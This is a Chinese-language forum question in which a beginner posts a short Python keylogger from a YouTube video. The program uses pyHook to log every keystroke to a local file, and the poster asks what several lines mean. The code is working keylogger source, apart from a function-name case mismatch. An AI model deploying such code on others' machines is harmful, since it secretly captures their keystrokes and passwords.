Python键盘记录器:代码解释

2024-04-16 05:28:16 发布

您现在位置:Python中文网/ 问答频道 /正文

我偶然发现了这段视频,里面有一个非常简单的键盘记录程序。 https://www.youtube.com/watch?v=8BiOPBsXh0g

我让程序工作,但视频不能很好地解释像我这样的初学者的代码行。有人能帮我理解一些代码行的作用吗?在

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnkeyboardEvent(event):
    logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '(messages)')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

问题:

  1. 什么是level=日志记录.DEBUG是吗?

  2. 什么是事件?怎么可能做到这一点事件。Ascii?

  3. 传入参数的10是什么日志记录.log功能?

  4. 如何钩住_经理。按下键=键盘事件工作?我以为OnKeyboardEvent是一个函数,但它如何将自己等同于另一个函数呢?


Tags: 代码debug程序eventlog视频loggingascii